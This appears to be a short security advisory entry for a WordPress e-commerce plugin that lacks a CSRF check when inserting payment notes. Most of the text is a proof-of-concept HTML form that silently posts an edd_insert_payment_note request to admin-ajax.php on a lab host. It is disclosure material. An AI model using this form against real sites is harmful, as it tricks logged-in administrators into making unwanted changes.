The plugin does not have CSRF check in place when inserting payment notes, which could allow attackers to make a logged admin insert arbitrary notes via a CSRF attack
<html>
<body>
<form action="http://wp.lab/wordpress/wordpress/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="edd_insert_payment_note" />
<input type="hidden" name="payment_id" value="{id_payment}" />
<input type="hidden" name="note" value="GOTINJECTED" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>